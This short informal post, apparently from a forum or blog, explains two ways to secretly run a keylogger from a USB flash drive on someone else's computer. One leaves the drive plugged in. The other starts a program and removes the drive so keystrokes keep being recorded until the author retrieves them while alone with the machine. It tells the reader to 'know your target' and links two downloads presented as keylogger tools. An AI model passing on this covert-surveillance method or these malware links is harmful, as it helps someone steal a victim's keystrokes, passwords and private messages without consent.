There are many ways to use keyloggers. i will be going over 2 ways. One way involves leaving the usb disk in the computer for the full duration of recording time. The other involves plugging it in starting a program on the computer and unplugging the devise. the computer will record until stopped and u can retrieve the information next time you get on the computer alone.
Step 1: Pick your flash drive
Step 2: Know your target.
A basic Keylogger that records text only where the drive must remain in the computer can be downloaded here: http://www.mediafire.com/?f42j4zetr668daz
A keylogger which will run off a flash drive then u can remove the flash drive till u can retrieve the data can be downloaded here : http://www.mediafire.com/?y4vp04kjlwbli2u